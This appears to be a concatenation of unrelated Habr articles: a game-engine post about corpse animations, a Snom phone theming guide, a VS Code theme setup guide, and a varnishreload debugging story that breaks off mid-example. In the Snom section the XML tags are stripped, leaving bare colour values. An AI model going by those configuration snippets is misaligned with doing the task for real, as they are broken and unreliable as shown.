С тем, как убить персонажа вроде бы все понятно, а вот что делать с его трупом совсем неясно. Первое, что приходит в голову, тут же удалить тушку из мира. Но это не масштабируемая логика. А что, если мы делаем игру про зомби и вокруг одни трупы? Или у нас есть бессмертный, этакий Дункан Маклауд, который не может умереть? Или мы пишем игру про Чака Норриса, а Чак Норрис не должен умирать, даже если его жизнь на нуле. Поэтому удалять тушку нельзя. С другой стороны — обычно её удаляют и делают это красиво.
Но мы не можем знать наперед, какую анимацию смерти захочет реализовать разработчик.
Тогда, возможно, выходом будет просто оставить все как есть. Предположим, что каждый разработчик напишет цикл, который по таймеру будет проверять жизни персонажей. Если персонаж окочурился, разработчик сам сможет придумать действие с трупом. Но при такой логике рассуждений получается, что все разработчики будут снова и снова писать одну и ту же функцию поиска жмуриков. Тогда можно включить её в состав движка и избавиться от дублирования кода.
Дамы и Господа, встречаем — «функция смерти»:
```
world.dead();
```
Функция вызывается каждый раз, когда в нашем экземпляре мира кто-то внезапно «клеит ласты». В качестве аргумента функция ожидает callback-функцию, которая будет вызвана. В callback-функцию будет передан объект, который «сыграл в ящик». Например:
```
world.dead(function(man) {
alert("Мужик с ID " + man.id + " свое отыграл");
});
```
На всякий случай, уточню, что world — это мир, в котором мы будем следить за смертью.
Но мы немного отвлеклись. Вопрос «Как спрятать труп?» ещё не решен и тут есть несколько вариантов.
**Классический вариант**
Персонаж, который дал дуба, улетает вверх. Хороший вариант, но если у нас уровень состоит из бетонных перекрытий (например, главный герой бегает по зданию), тушка не сможет пройти сквозь потолок. Напомню, что обсчет столкновений и физику ещё никто не отменял, и для трупа все силы продолжают считаться. Тогда можно изменить тип объекта на «декорации». Декорации у нас в физ. расчетах не участвуют и могут располагаться как угодно. Но нужно предварительно удалить объект из мира, т.к. он числится в объектах, которые могут двигаться. А потом добавить его в мир ещё раз, уже как декорацию. Ещё есть вариант с мигающим объектом.
**Мигающий вариант**
Если кого-то убивают, он останавливается, мигает и исчезает вовсе. Для этого эффекта мы должны взять массив спрайтов и каждый четный элемент заменить прозрачной картинкой. Ну, и конечно же, поверх всего добавляется таймер, который в конце анимации удаляет дохлого персонажа из мира. Старая игра «Червячки» спешит предложить нам третий вариант.
**Вариант с надгробиями**
Запоминаем координаты трупа, убираем его из мира, а на его месте создаем объект «надгробия».
В общем, выбор за вами. Только если у вас скопытился главный герой, не забудьте отключить тут же джойстик, чтобы игрок не мешал анимации. Если вы привязывали управление к клавиатуре через стандартный модуль контроллера, то отключить клавиатуру можно так:
```
StalinGrad.module.controller.remove();
```
В качестве аргумента функция ожидает объект персонажа, на которого создавался контроллер. Например:
```
StalinGrad.module.controller.remove(man);
```
Два простых примера анимации смерти можно посмотреть [тут](http://bakhirev.biz/StalinGrad/demo/28.html) и [тут](http://bakhirev.biz/StalinGrad/demo/29.html)
Вопросы и ответы
================
В данном разделе собраны вопросы, которые мне задавали различные разработчики.
Товарищ [guyfawkes](http://habrahabr.ru/users/guyfawkes) спросил:
**«— А неминифицированную версию вашего движка где можно увидеть?»**
Нигде. Это же не open source стартап про HTML5 с профайлом на github`е. Если я покажу исходники — нормальные пацаны, которые пишут на плюсах и яве, сначала будут очень долго ржать, а потом «забьют меня ссаными тряпками». Реализация коллизий — неэффективна, архитектура свойств объектов — неправильная, а алгоритм строительства — вообще говно и должен быть полностью переписан. Надеяться на то, что другие это исправят — это миф.
* С одной стороны, люди в web разработке не парятся по поводу архитектуры, а следовательно могут неверно пофиксить баги.
* С другой стороны, каждый смотрит на проект со своей колокольни. Сторонние разработчики могут начать дорабатывать движок не в ту сторону, в какую мне нужно.
* Ну а с третьей стороны, я просто не люблю чужой код, и в этом «домашнем проекте» он мне и нафиг не сдался. Вы можете скачать разного рода конфиги и изменить их.
Т.к. код модульный, вы можете, в состоянии крайней необходимости, переписать какую-либо функцию ядра или сделать обертку к ней, например так:
```
StalinGrad.brain = function() {
}
```
Или же дописать модуль и выложить на своем сайте:
```
StalinGrad.module.YouModule = function() {
}
```
Используйте StalinGrad — как есть, из коробки. Если не нравится — выберите что-либо другое на свое усмотрение (тысячи этих движков [тут](https://github.com/bebraw/jswiki/wiki/Game-Engines) и [тут](http://html5gamedevelopment.ru/)). Что-либо другое ещё и глючит меньше. Ну или запилите свое с canvas`ам и WebGL`ем ;)
Гражданин [s1im](http://habrahabr.ru/users/s1im) указал на следующий факт:
**«— Намного быстрее будет работать если не менять src у картинки, а показывать один длинный спрайт с чередой кадров, отрисовывая его в background какого-нибудь div-а и меняя background-position»**
Я думал над этой схемой, и она показалась мне нерабочий (хотя признаю, что с точки зрения производительности [s1im](http://habrahabr.ru/users/s1im) абсолютно прав, схема даст очень хороший выигрыш).
Во первых, посмотрим на объект конфига персонажа:
```
left: [
"partizan_left_1.png",
"partizan_left_2.png",
"partizan_left_3.png",
"partizan_left_4.png"
],
right: [
"partizan_right_1.png",
"partizan_right_2.png",
"partizan_right_3.png",
"partizan_right_4.png"
]
```
Любой разработчик сразу поймет, что это массив адресов. Сможет исправить адрес картинки или порядок кадров. При том накосячить и поломать код очень трудно. Если мы опишем это в виде координат на спрайте, то код будет выглядеть примерно так:
```
image: "partizan_left_1.png"
left: [
[ 0, 40 ],
[ 40, 80 ],
[ 80, 120 ],
[ 120, 160 ]
],
right: [
[ 0, 40 ],
[ 40, 80 ],
[ 80, 120 ],
[ 120, 160 ]
]
```
* Код стал неочевиден с первого взгляда
* Можно легко ошибиться, и указать координату больше, чем длина спрайта
* Если нам нужно будет переделывать чужую игру (например, замену персонажей) — это будет жестко. Нам постоянно нужно будет смотреть в Paint`е на рисунок, и подставлять координаты. И это ещё удачный вариант (на примере шаг четко 40px).
Два года назад я так переделывал одну игру в другую, и дизайнеры прислали спрайты с разным сдвигом между персонажами (да и размер самих персонажей изменился). Это были долгие упорные часы подсчета координат. Координаты выглядели примерно так:
```
left: [
[ 0, 34 ],
[ 34, 56 ],
[ 56, 89 ],
[ 89, 112 ]
],
```
Во вторых, мы теряем резиновый интерфейс.
Можно конечно выкрутиться и задать background-size, но на некоторых девайсах background-size не работает. Не то что бы я хотел поддерживать «зоопарк говнодевайсов», но так получилось, что с имеющейся уже архитектурой и выбранными решениями, мне очень легко его поддерживать. Это требует слишком мало усилий. Чуть поправить CSS и вуаля:
* Пример потерь масштабируемости я описывал выше. Помните про функцию смерти? На таких конфигах можно легко сделать анимацию мигания (заменив каждую вторую картинку — прозрачной пустотой). Какую дополнительную выгоду получить от спрайтов — придумать не смог.
* Мы нарушаем логику разделения CSS и JS. Все div`ы будут выглядеть так
Если нужно будет поправить внешний вид, придется лезть в JS, а проблема внешнего вида — это проблема исключительно CSS. Не каждый джуниор полезет править JS конфиги, т.к. побоится что-нибудь сломать. Опять же, есть вероятность случайных поломок, когда он, сам того не заметив, оставит где-либо лишнюю запятую или символ и поломает JavaScript. А вот подобные косяки в CSS не так страшны.
Но с другой стороны, все мы видим как тормозят демки при нагрузке и сколько 404`х шлет сервер. Поэтому наиболее логичным, будет добавить возможность рендера анимации спрайтами, как и предлогал s1im (при этом оставив существующий рендер). Тогда в зависимости от ситуации разработчики сами смогут выбрать реализацию, которая будет оптимальна для конкретной задачи. А ещё, за эти две недели раздумий над вопросом, я осознал, что не хватает модуля для кеширования ресурсов камеры. Постараюсь его реализовать и объяснить в следующих статьях.
А у вас, дорогие читатели, были случаи, когда нужно было поправить внешний вид какого-либо плагина jQuery, а он задавал свой стиль через JavaScript где-то внутри себя? Насколько вас это выводило из себя в тот момент?
**Пользователь [VoVanJinn](http://habrahabr.ru/users/VoVanJinn) хотел узнать, «как заставить котика какать радугой»**
Ответ: «— Никак». Мне кажется это задача для одноразовой игры, котора решается костылями, т.к. какать радугой объектам не естественно. Т.к. я пишу прежде всего сам для себя, я могу не решать задачи, которые мне не нравятся или кажутся неправильными. Понятно, что в реальной жизни есть менеджер или адовый клиент, которые могут захотеть все что угодно. На то они и костыли, что бы решать безумные неадекватные задачи. Правильного универсального решения, по крайней мере я — не вижу. Если вы что придумаете — напишите в коментариях к этой статье (снача ещё подумайте о дополнительных багах, которое решение за собой может принести).
**«— Canvas же быстрее верстки работает!?»**
**Отдельно спасибо** товарищам [SerafimArts](http://habrahabr.ru/users/SerafimArts) и [jetman](http://habrahabr.ru/users/jetman), за их спор про LG Smart TV 2012 года и тест FPS Canvas`а. Результат: LG Smart TV 2012 (Netcast 3.0, модель LM640T): 0-1 FPS, что дает ещё один голос за извращение с версткой.
Напоследок
==========
Как и обещал, выкладываю пакет разработчика. Там есть графика, не сжатые CSS и пара открытых конфигов. Ссылки дублирую, чтобы избежать хабраэффекта:
[Скачать с 1-го сервера](http://bakhirev.biz/StalinGrad/zip/StalinGrad.dev.zip)
[Скачать с 2-го сервера](http://rghost.ru/49971655)
[Скачать с 3-го сервера](http://6.encom16.z8.ru/public/StalinGrad.dev.zip)
Кроме того там же есть куча демок (на тот случай, если демки в этой статье у вас висли и не успевали подгрузиться).
Пакет разработчика будет обновляться. В следующей статье я расскажу о игровых модулях и открою ещё несколько конфигов. Кроме того, когда вы сделаете несколько ботов — они будут неподвижны, и не будут стрелять в игрока. Как их оживлять и разжигать ненависть в игровом мире – будет описано в следующей статье.
**Подведем итоги:** каждый раз, когда я пишу статью и делаю демки, я нахожу столько новых багов, что просто ужас. А бывает так, что при написании статьи я осознаю, что какой-либо модуль ядра вообще работает нелогично и его приходится переписывать, либо переписывать API на более адекватное. Поэтому к следующей статье некоторые мелочи — могут измениться (например, задавать коррекцию для камеры нужно в процентах, а не в каких-то непонятных долях экрана).
И ещё по поводу багов — очень много людей, сказали мне, что у меня неверно работает прыжок. Открою вам тайну — у меня вообще нет прыжка. Это просто кнопка вверх, для движения по оси Y (на основании этого, я ещё собираюсь сделать вид сверху, как в танчиках — для этого нужно всего лишь на всего отключить гравитацию и увеличить трение). А как сделать адекватно кнопку прыжка — я так и не придумал. Пишите в комментариях свои идеи (а ещё по поводу лестницы, т.к. совершенно не понятна суть этого объекта, и по какой схеме его реализовывать)
**Сайт движка** [тут](http://bakhirev.biz/StalinGrad/). | https://habr.com/ru/post/201098/ | null | ru | null |
# Сделай сам или как кастомизировать телефон Snom. Часть 1 цвета, шрифт, фон
Многим из нас очень нравится, когда какая-либо вещь сделана под нас! Когда мы ощущаем некий «уровень собственности», который нам позволяет выделяться на фоне «серой массы». Одни и те же стулья, столы, компьютеры и т.д. Всё как у всех!
Порой даже такая мелочь, как логотип компании на обычной ручке, позволяет нам ощущать её особенной и потому более ценной.
Согласитесь, что большинство заказчиков предпочтёт вместо обычного (как у всех) телефона Snom, телефон, который ассоциируется у них с чем-то особенным/личным. Уверен, что если вы являетесь поставщиком решений по телефонии, вы также согласились бы ассоциировать вашу компанию с поставщиком этого «особенного» в глазах заказчика.
Многие из вас знают, что Snom может предложить очень разные уровни кастомизации настольных телефонов: от очень сложных аппаратных и программных изменений, которые требуют время на разработку, до самых простых, которые доступны всем из «коробки», абсолютно бесплатно. Именно о последнем мы хотим вам рассказать сегодня.
Прошивка меню наших телефонов построена на XML и позволяет вам производить гибкую кастомизацию UI следующих параметров (краткий список):
* фоновое изображение
* шрифт и цвет
* иконки
* язык
* мелодии звонков
* назначение клавиш
* и многое другое
В этой, 1-й части нашей статьи, мы расскажем о том, как можно изменить визуальное представление телефонна Snom. Поговрим о нескольких пунктах:
1. Изменение цветовой гаммы
2. Изменение шрифтов
3. Загрузка фонового изображения
4. Примеры тем
> Во 2-й части нашей статьи (которая скоро выйдет) мы поговорим об остальных возможностях кастомизции. Так-что не «переключайтесь».
#### 1. Изменение цветовой гаммы
Начиная с версии прошивки 10, цветной интерфейс телефона может быть полностью изменен в отношении цвета и прозрачности. Это позволяет настроить пользовательский интерфейс для идеальной разборчивости, четкости, цветовых предпочтений и дальнейшего изменения, например, фирменного стиля компании.
Для того, чтобы было проще разобраться существует схема описания настройки цветов:
**Цвета настраиваются с помощью RGB значений**
| | | | |
| --- | --- | --- | --- |
| **Наименование** | **Допустимые значения** | **Значения по
умолчанию** | **Описание** |
| titlebar\_text\_color | Группа из 4-х
чисел, каждое >=0 и <=255.
**красный**, **зеленый**, **синий**, **альфа** (значение альфа 255 означает полностью
видимый, а 0 — полностью прозрачный). | **51****51****51****255** | Управляет цветом и прозрачностью текста в
строке заголовка, например, «Дата», «Время»,
«Название» и др. |
| text\_color | 51 51 51
255 | Управляет цветом и прозрачностью
основного текста, например, «Меню», «Режим ожидания» и
всех остальных экранов основного текста. |
| subtext\_color | 123 124 126 255 | Управляет цветом и прозрачностью
подтекста, например, «Меню», «Режим ожидание» и всех
других подтекстовых экранов. |
| extratext\_color | 123 124 126
255 | Управляет цветом и прозрачностью первой
строки текста, отображаемой справа в меню, например, история вызовов, дата и
время. |
| extratext2\_color | 123 124 126
255 | Управляет цветом и прозрачностью второй
строки текста, отображаемой справа в меню, например, история вызовов, дата и
время. |
| titlebar\_background\_color | 226 226 226
255 | Управляет цветом и прозрачностью фона
строки заголовка |
| background\_color | 242 242 242
255 | Управляет цветом и прозрачностью фона на
каждом экране. |
| fkey\_background\_color | 242 242 242
255 | Управляет цветом и прозрачностью
контекстно-зависимых кнопок. |
| fkey\_pressed\_background\_color | 61 133 198
255 | Управляет цветом и прозрачностью фона
контекстно-зависимых клавиш при нажатии. |
| fkey\_separator\_color | 182 183 184
255 | Управляет цветом и прозрачностью
разделительных линий контекстно-зависимых кнопок |
| fkey\_label\_color | 123 124 126
255 | Управляет цветом и прозрачностью текста,
используемого в контекстно-зависимых кнопках |
| fkey\_pressed\_label\_color | 242 242 242
255 | Управляет цветом и прозрачностью текста,
используемого в контекстно-зависимых кнопках при нажатии |
| selected\_line\_background\_color | 255 255 255
255 | Управляет цветом и прозрачностью фона
выбранной линии, например, в Меню или любом экране с выбираемыми элементами |
| selected\_line\_indicator\_color | 61 133 198
255 | Управляет цветом и прозрачностью
индикатора слева от выбранной линии, например, в Меню или любом экране с
выбранными элементами |
| selected\_line\_text\_color | 61 133 198
255 | Управляет цветом и прозрачностью текста в
выделенной строке, например, в Меню или любом экране с выбранными элементами.
Также управляет цветом текущего символа при цикличном прохождении через
различные опции в окне ввода |
| line\_background\_color | 242 242 242
0 | Управляет цветом и прозрачностью фона для
каждой строки Меню или пункта меню, или любого пункта списка. |
| line\_separator\_color | 226 226 226
255 | Управляет цветом и прозрачностью
разделительной линии между меню или пунктами меню и показывается только
тогда, когда доступно более чем один выбранный элемент. |
| scrollbar\_color | 182 183 184
255 | Управляет цветом и прозрачностью полосы
прокрутки, отображаемой на любом экране. |
| cursor\_color | 61 133 198
255 | Управляет цветом и прозрачностью курсора,
отображаемого на экранах с помощью входного сигнала. |
| status\_msgs\_background\_color | 242 242 242
255 | Управляет цветом и прозрачностью фона для
сообщений о состоянии, которые появляются на экранах ожидания и вызова. Это значение также применяется к фону
изменения громкости. |
| status\_msgs\_border\_color | 182 183 184
255 | Управляет цветом и прозрачностью границы
для сообщений о состоянии, которые появляются на экранах ожидания и вызова. Это значение также применяется к границе
изменения громкости. |
| smartlabel\_background\_color | 242 242 242
255 | Управляет цветом и прозрачностью фона SmartLabel. |
| smartlabel\_pressed\_background\_color | 61 133 198
255 | Управляет цветом и прозрачностью фона SmartLabel при нажатии функциональной клавиши. |
| smartlabel\_separator\_color | 182 183 184
255 | Управляет цветом и прозрачностью линии
разделителя между каждой функциональной клавишей SmartLabel. |
| smartlabel\_label\_color | 123 124 126
255 | Управляет цветом и прозрачностью текста,
используемого в SmartLabel. |
| smartlabel\_pressed\_label\_color | 242 242 242
255 | Управляет цветом и прозрачностью текста,
используемого в SmartLabel, при нажатии функциональной клавиши. |
Теперь, когда мы знаем где и что находится мы можем перейти в веб-интерфейс телефона в раздел **Setup/Preferences**, далее вторая закладка **Appearance**:
Здесь можно изменять значения, а если нажать на вопросительный знак, то вы попадете на страницу с описанием, где в том числе есть заметка, как указать данное значение, если использовать XML-файл для конфигурации. Например для нашей первой строки «Text Color»:
#### 2. Изменение шрифтов
Шрифты на всех телефонах snom свободно настраиваются и могут быть изменены с помощью автопровижинга. Помните, что если текущий используемый TrueType или растровый шрифт заменен на пользовательский, при визуализации текста могут возникнуть определенные несоответствия, поскольку пользовательский интерфейс оптимизирован для одного конкретного шрифта TrueType.
Чтобы заменить любой шрифт, необходимо создать tar-файл, содержащий новый шрифт, названный должно полностью совпадать со старым шрифтом, который будет заменен.
> «tar -cvf fonts.tar fontfile.ttf»
Затем на этот tar-файл нужно дать ссылку в xml-файле, чтобы он правильно загружался при перезагрузке телефона.
```
xml version="1.0" encoding="utf-8" ?
```
Более подробно, какие шрифты предустановлены, можно найти у нас на [wiki](http://wiki.snom.com/Category:HowTo:PUI_fonts)
Таким образом вы можете загрузить свой собственны шрифт в телефон.
#### 3. Загрузка фонового изображения
На примере покажем, как загрузить правильно фон и какие настройки имеют значение.
Загрузить фоновое изображение можно через Веб-интерфейс → **Preferences** → **Appearance**:
В этом параметре должен быть установлен доступный URL-адрес изображения. Как только параметр будет изменен, фоновое изображение будет заменено.
Или вы можете изменить эту настройку с помощью автопровижинга, добавив тег с действительным значением в ваш xml-файл.
Если этот параметр пустой или URL-адрес изображения неверны, то будет использоваться фоновое изображение телефона по умолчанию.
**Важно**: если вы используете программное обеспечение до версии 10.1.33.33, необходимо установить значение цвета фонового плана на полностью прозрачный.
Это необходимо сделать, так как фоновое изображение расположено на слое под стандартным цветом фона. Этого можно добиться путем установки альфа-значения 0 для цвета фона.
Начиная с версии прошивки 10.1.33.33, цветовая прозрачность фона автоматически адаптируется к отображаемому на телефоне фоновому изображению. Однако она не будет полностью прозрачной. Для достижения полной прозрачности настройка все равно должна иметь альфа-значение 0.
Для правильного отображения фонового изображения его необходимо сохранить в формате png, jpg, gif, bmp или tga. Мы настоятельно рекомендуем использовать файлы .png и оптимизировать их с помощью "[optipng](http://optipng.sourceforge.net/)", чтобы уменьшить размер файла и повысить производительность.
Размер изображения в завсимости от модели:
| Модель | Разрешение |
| --- | --- |
| D375/ D385/ D785 | 480 x 272 |
| D335/ D735/ D765 | 320 x 240 |
| D717 | 426 x 240 |
#### 4. Пример конфигурации тем
1. «Dark Theme»:
**Посмотреть**
```
xml version="1.0" encoding="utf-8"?
43 49 56 255
242 242 242 255
43 49 56 255
242 242 242 255
224 224 224 255
158 158 158 255
158 158 158 255
43 49 56 255
61 133 198 255
70 90 120 255
224 224 224 255
242 242 242 255
242 242 242 0
50 60 80 255
61 133 198 255
61 133 198 255
70 90 120 255
70 90 120 255
61 133 198 255
43 49 56 255
70 90 120 255
43 49 56 255
61 133 198 255
70 90 120 255
224 224 224 255
242 242 242 255
```
2. «Colorful Theme»:
**Посмотреть**
```
xml version="1.0" encoding="utf-8"?
http://192.168.0.1/background.png
0 0 0 0
242 242 242 255
43 49 56 40
242 242 242 255
224 224 224 255
224 224 224 255
224 224 224 255
43 49 56 40
43 49 56 140
0 0 0 0
224 224 224 255
224 224 224 255
0 0 0 0
43 49 56 40
61 133 198 255
61 133 198 255
0 0 0 0
61 133 198 255
61 133 198 255
61 133 198 255
61 133 198 255
43 49 56 40
43 49 56 140
0 0 0 0
242 242 242 255
242 242 242 255
```
Надеемся, эта тема поможет разобраться с вопросом ручной кастомизации.
Продолжение следует… | https://habr.com/ru/post/507736/ | null | ru | null |
# Создание своей темы для Visual Studio Code
[Visual Studio Code](https://www.visualstudio.com/ru-ru/products/code-vs.aspx) — новый редактор для разработчиков от компании Microsoft.
Конечно, на данный момент он уступает по количеству поддерживаемых функций широко распространённому Sublime Text, но при этом быстро «набирает обороты». Подтверждением тому является уже достаточно большой набор расширений в [Visual Studio Marketplace](https://marketplace.visualstudio.com).
В принципе, тем кто до этого пробовал редактор Sublime Text будет несложно найти много общего между этими продуктами как в визуальном оформлении, так и в наборе базовых возможностей.
[В совсем свежей статье на Habrahabr](https://habrahabr.ru/post/276825) автор указывает на то, что
> К сожалению, VS Code пока что не поддерживает тем оформления интерфейса. Но есть много классных тем подсветки синтаксиса. Ниже некоторые из них.
Кроме готовых тем, можно создавать и свои, полностью отвечающие Вашим требованиям.
Возможно я буду неоригинален, но хочу поделиться информацией об [онлайн-редакторе](http://tmtheme-editor.herokuapp.com), который позволяет создавать темы, поддерживаемые в VS Code.
В редакторе можно поменять всё что угодно (шрифт, цвет, подсветку ключевых слов и т.п.). Есть готовые темы. Также можно создать свою на основе базовой, предлагаемой по умолчанию. После того, как новая тема готова, вам достаточно её сохранить на компьютер.
#### Установка своей темы в VS Code
1. Переходим в каталог %USER\_PROFILE%\.vscode\extensions;
2. Создаём новый каталог с названием нашей темы;
3. Создаём в каталоге нашей темы файл package.json со следующим содержимым:
```
{
"name": "theme-name", //Имя темы
"version": "0.0.1",
"engines": {
"vscode": ">=0.9.0-pre.1"
},
"publisher": "Your Name", //имя автора темы
"contributes": {
"themes": [
{
"label": "Theme label",
"uiTheme": "vs-dark", // use "vs" to select the light UI theme
"path": "./themes/YourTheme_Theme.tmTheme" //указываем путь к нашему файлу темы
}
]
}
}
```
4. Создаём каталог themes и кладём в него нашу новую тему.
Готово. Теперь в меню «File»-«Preferences»-«Color Theme» Вы можете выбрать и применить свою тему. | https://habr.com/ru/post/276997/ | null | ru | null |
# Down the Rabbit Hole: A Story of One varnishreload Error — part 1
After hitting the keyboard buttons for the past 20 minutes, as if he was typing for his life, [ghostinushanka](https://habr.com/en/users/ghostinushanka/) turns to me with a half-mad look in his eyes and a sly smile, “Dude, I think I got it.
Look at this” — as he points to one of the characters on screen — “I bet my red hat that if we add what I’ve just sent you here” — as he points to another place in the code — “there will be no error anymore.”
Slightly puzzled and tired I modify the sed expression we’ve been figuring out for some time now, save the file and run `systemctl varnish reload`. Error message gone…
“Those emails I’ve exchanged with the candidate,” my colleague continues, as his smile changes to a wide and genuine grin, “It suddenly struck me that this is the very same exact problem!”
### How it all began
*This article assumes some familiarity with bash, awk and systemd. Some knowledge of Varnish is beneficial, but not required.
Timestamps in example snippets have been redacted.
Co-authored with [ghostinushanka](https://habr.com/en/users/ghostinushanka/).*
Sun shines through the wall-sized windows on yet another warm autumn morning, a cup of freshly brewed caffeinated liquid sits to the side of the keyboard, headphones vocalize the beloved symphony of sounds covering the rustle of mechanical keyboards around and the first entry in backlog on kanban board playfully displays the fateful ticket’s title “Investigate varnishreload `sh: echo: I/O error` in staging”. Whenever Varnish is concerned, there is no room for error(s), even though this particular one didn’t seem to be causing any actual problems.
For those of you unacquainted with [varnishreload](https://github.com/varnishcache/pkg-varnish-cache/blob/weekly/systemd/varnishreload), it is simply a shell script used to reload the configuration — also called the VCL — of the [Varnish caching server](https://varnish-cache.org/).
As the ticket's title hints, the error has been encountered on one of the staging machines and I was pretty sure the Varnish routing does work in the staging environment, so my assumption was that this has to be some minor issue. Just a user-friendly output message written to a closed stream. I grab the ticket, firmly believing I'll be able to mark it resolved in under 30 minutes, pat myself on the back for clearing yet another mundane task and get back to more important things.
### Hitting the wall at 200kph
Opening the `varnishreload` file on one of the affected servers running on Debian Stretch, I find a shell script less than 200 lines long. Briefly reading through it, I see nothing dangerous that would prevent me from running the script from terminal over and over again. After all, this is staging, even if it breaks, no one is going to complain, well… not too much, that is. I run the script and observe, only to find out that there are no errors to be seen. A couple more repeated runs to make reasonably sure that I cannot reproduce the error without any extra effort and I start devising plans to tweak and bend the script's environment. Does closing STDOUT for the script altogether (with `> &-`) help anything? Or STDERR? Neither did.
Obviously systemd mangles the environment in some way, but how, and… why? I fire up vim and edit the system’s `varnishreload`, adding `set -x` right under the shebang, hoping that the detailed script run output will shed some light.
File is patched, so I reload varnish, only to see that the change had completely broken the script… Output is a complete mess displaying tons of C-style code and the default scrollback buffer is not enough to find where does it come from. I feel confused. Could setting debug option for the shell script break the program it calls? No, can’t be. A bug in the shell? Multiple possible scenarios running wildly in different directions in my mind. A cup of caffeinated beverage is instantly finished, quick trip to the kitchen for a refill and here we go again. I open the file and look closely at the shebang: `#!/bin/sh`.
But `/bin/sh` is surely just a symlink to bash, so that the script is interpreted in POSIX-compliant mode, right? Wrong! The default non-interactive shell on Debian is dash, and that's exactly what `/bin/sh` [points at](https://wiki.debian.org/Shell).
```
# ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Jan 24 2017 /bin/sh -> dash
```
If only for debugging, I changed the shebang to `#!/bin/bash`, removed the `set -x` and tried again. Finally, a reasonable error output from the next varnish reload:
```
Jan 01 12:00:00 hostname varnishreload[32604]: /usr/sbin/varnishreload: line 124: echo: write error: Broken pipe
Jan 01 12:00:00 hostname varnishreload[32604]: VCL 'reload_20190101_120000_32604' compiled
```
Line 124, now we're talking!
```
114 find_vcl_file() {
115 VCL_SHOW=$(varnishadm vcl.show -v "$VCL_NAME" 2>&1) || :
116 VCL_FILE=$(
117 echo "$VCL_SHOW" |
118 awk '$1 == "//" && $2 == "VCL.SHOW" {print; exit}' | {
119 # all this ceremony to handle blanks in FILE
120 read -r DELIM VCL_SHOW INDEX SIZE FILE
121 echo "$FILE"
122 }
123 ) || :
124
125 if [ -z "$VCL_FILE" ]
126 then
127 echo "$VCL_SHOW" >&2
128 fail "failed to get the VCL file name"
129 fi
130
131 echo "$VCL_FILE"
132 }
```
But as it turns out, line 124 is pretty uneventful. I could only conjecture that the error was produced as part of the multiline command executing at line 116.
So what does the above subshell even produce to store in the `VCL_FILE` variable? In the first part it sends the contents of the `VCL_SHOW` variable created on the line 115 into the pipe. What happens there, then?
First, it uses `varnishadm`, which is a standard part of a Varnish installation used to configure Varnish without having to restart it. The subcommand `vcl.show -v` is used to print the entire VCL configuration specified by `${VCL_NAME}` to STDOUT.
To display the current active VCL config as well as several previous versions of the varnish routing that are still in memory, you can use another command `varnishadm vcl.list`, whose output would be similar to the below:
```
discarded cold/busy 1 reload_20190101_120000_11903
discarded cold/busy 2 reload_20190101_120000_12068
discarded cold/busy 16 reload_20190101_120000_12259
discarded cold/busy 16 reload_20190101_120000_12299
discarded cold/busy 28 reload_20190101_120000_12357
active auto/warm 32 reload_20190101_120000_12397
available auto/warm 0 reload_20190101_120000_12587
```
The variable `${VCL_NAME}` is set elsewhere in the `varnishreload` script to the name of the currently active VCL, if any. In this case, that would be "reload\_20190101\_120000\_12397".
Great, so `${VCL_SHOW}` now contains a full configuration for Varnish, easy enough so far. Now I finally understood why the dash output with `set -x` appeared to be so broken — it included the contents of the resulting varnish configuration.
The important thing here is that the full VCL config may often be spliced together from multiple files. C-style comments are used to delineate where config files were included into other config files, which is exactly what the next line of the code snippet is all about.
The syntax of the file-denoting comments has the following format
```
// VCL.SHOW
```
The numbers are not important here, what we’re interested in is the filename.
So what in the world is happening in the slew of commands beginning on line 116?
Let's pick it apart.
There are four parts to the command:
1. A simple `echo` that prints out the value of `${VCL_SHOW}`
```
echo "$VCL_SHOW"
```
2. `awk` that looks for a line (record) where the first field is '//' and the second is "VCL.SHOW".
Awk is instructed to print the first line matching these patterns and then immediately stop processing.
```
awk '$1 == "//" && $2 == "VCL.SHOW" {print; exit}'
```
3. A code block that reads in the whitespace-delimited fields into five variables. The fifth variable FILE gets the remainder of the line. Finally, one last echo prints the contents of the `${FILE}` variable.
```
{ read -r DELIM VCL_SHOW INDEX SIZE FILE; echo "$FILE" }.
```
4. As steps 1 through 3 are all encased in a subshell, the output of `$FILE` will end up in the variable `VCL_FILE`.
As the comment on line 119 suggests, this way of doing things serves a single purpose: to reliably handle the case where VCL would be referencing filenames with spaces.
I commented out the original processing logic for the `${VCL_FILE}` and tried to tweak the chain of commands but to no reasonable end. Everything worked in my shell but never when run as a service.
It seems the error is not at all replicable when run by me — meanwhile the estimated 30 minutes passed six times and a new high-priority task put everything aside. The rest of the week was quite full with different tasks, the two exceptions being an internal talk our team had about using `sed` and an interview with a promising candidate. The issue with making `varnishreload` error disappear was completely lost to the sands of time.
### Your so-called sed-fu… is really… quite pathetic
One of the days of the week that followed was pretty free, so I picked the task up again. I had hoped that maybe some background process in my brain was still chipping away at the problem and I'll finally be able to crack it.
Since bending the code last time didn't help, I just opted for a rewrite of line 116. The existing code was insane, anyway. There is absolutely no need to use `read` here.
Looking at the error again:
`sh: echo: broken pipe` — echo is in two places in that command, but I suspect the very first one to be a more likelier culprit (or an accomplice). Awk doesn't inspire confidence either. Well, in case it really is the `awk | {read; echo}` construct causing all this trouble, why not use something else? Awk's not really being used to its full capabilities on that one-liner and then there is this surplus `read`.
Seeing as we had an internal talk about `sed` the other week, I wanted to try my newly-acquired skills and optimize the `echo | awk | { read; echo }` into a simpler `echo | sed`. Although that’s definitely not the proper way to approach debugging, I thought I’d at least try out my sed-fu and maybe learn something new about the problem in the process. In the process, I’ve asked my colleague — the author of the sed talk — to help me come up with a more efficient sed command.
I’ve dumped the `varnishadm vcl.show -v "$VCL_NAME"` into a file, so I could focus on writing sed without all the hassle around service reloads.
A short primer on how exactly sed processes input can be found in [its GNU manual](https://www.gnu.org/software/sed/manual/sed.html#Execution-Cycle). In sed sources character `\n` is explicitly specified as the line separator.
After several iterations and input from my colleague, we’ve crafted a sed expression that did produce exactly the same result as the original line 116.
Let’s create a sample input file here,
```
> cat vcl-example.vcl
Text
// VCL.SHOW 0 1578 file with 3 spaces.vcl
More text
// VCL.SHOW 0 1578 file.vcl
Even more text
// VCL.SHOW 0 1578 file with TWOspaces.vcl
Final text
```
It might not be apparent from the above description, but we’re only interested in the first `// VCL.SHOW` comment, and there may be several on input. That’s exactly why awk quits after the first match.
```
# step 1, capture just the comment lines
# using sed capability to specify delimiter character with ‘\#’ instead of the commonly used ‘/’ so there is no need to escape slashes themselves
# and the “address” capability defined as regex “// VCL.SHOW” to search for lines with specific pattern
# -n flag makes sure that the sed does not print all as it does by default (see above link)
# -E switches to the extended regex
> cat vcl-processor-1.sed
\#// VCL.SHOW#p
